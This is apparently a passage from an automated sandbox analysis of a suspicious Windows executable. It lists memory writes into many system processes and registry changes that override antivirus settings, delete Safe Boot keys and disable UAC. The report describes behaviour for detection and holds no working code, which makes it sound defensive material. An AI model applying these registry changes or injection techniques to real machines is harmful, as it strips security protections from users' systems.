Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 930000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1010000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 240000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: B40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 630000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 610000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: C60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: BB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dllhost.exe base: D70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: C00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: FF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: FC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 240000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 710000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: DD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 4A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 980000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 8A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: DD70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 390000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: AE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 6D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 210000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: B30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 940000 Jump to behavior
Source: dwm.exe, 0000000E.00000000.1303615224.00000283DBDF1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000016.00000000.1421498975.000001CF1D3D1000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 00000017.00000000.1451176012.000001697AB91000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: dwm.exe, 0000000E.00000000.1303615224.00000283DBDF1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000016.00000000.1421498975.000001CF1D3D1000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 00000017.00000000.1451176012.000001697AB91000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: dwm.exe, 0000000E.00000000.1303615224.00000283DBDF1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000016.00000000.1421498975.000001CF1D3D1000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 00000017.00000000.1451176012.000001697AB91000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: dwm.exe, 0000000E.00000000.1300226546.00000283DB78C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerS
Source: dwm.exe, 0000000E.00000000.1303615224.00000283DBDF1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000016.00000000.1421498975.000001CF1D3D1000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 00000017.00000000.1451176012.000001697AB91000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 0000001B.00000002.3740758912.0000000000A44000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1468114321.0000000000A44000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progmanq
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004ACF60 GetLocalTime,GetSystemTime,GetTimeZoneInformation, 6_2_004ACF60
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0242F760 lstrcpy,GetUserNameA,lstrlen,lstrcat,lstrlen,lstrlen,RegOpenKeyExA,RegCreateKeyA,RegEnumValueA,RegDeleteValueA,wsprintfA,RegSetValueExA,wsprintfA,RegQueryValueExA,RegCloseKey, 6_2_0242F760
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004B672C GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte, 6_2_004B672C
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004C6C59 GetVersion,RtlInitializeCriticalSection, 6_2_004C6C59

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Changes security center settings (notifications, updates, antivirus, firewall)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center AntiVirusOverride Jump to behavior
Deletes keys which are related to windows safe boot (disables safe mode boot)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key or value deleted: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot AlternateShell Jump to behavior
Disables UAC (registry)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA Jump to behavior
Disables user account control notifications
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
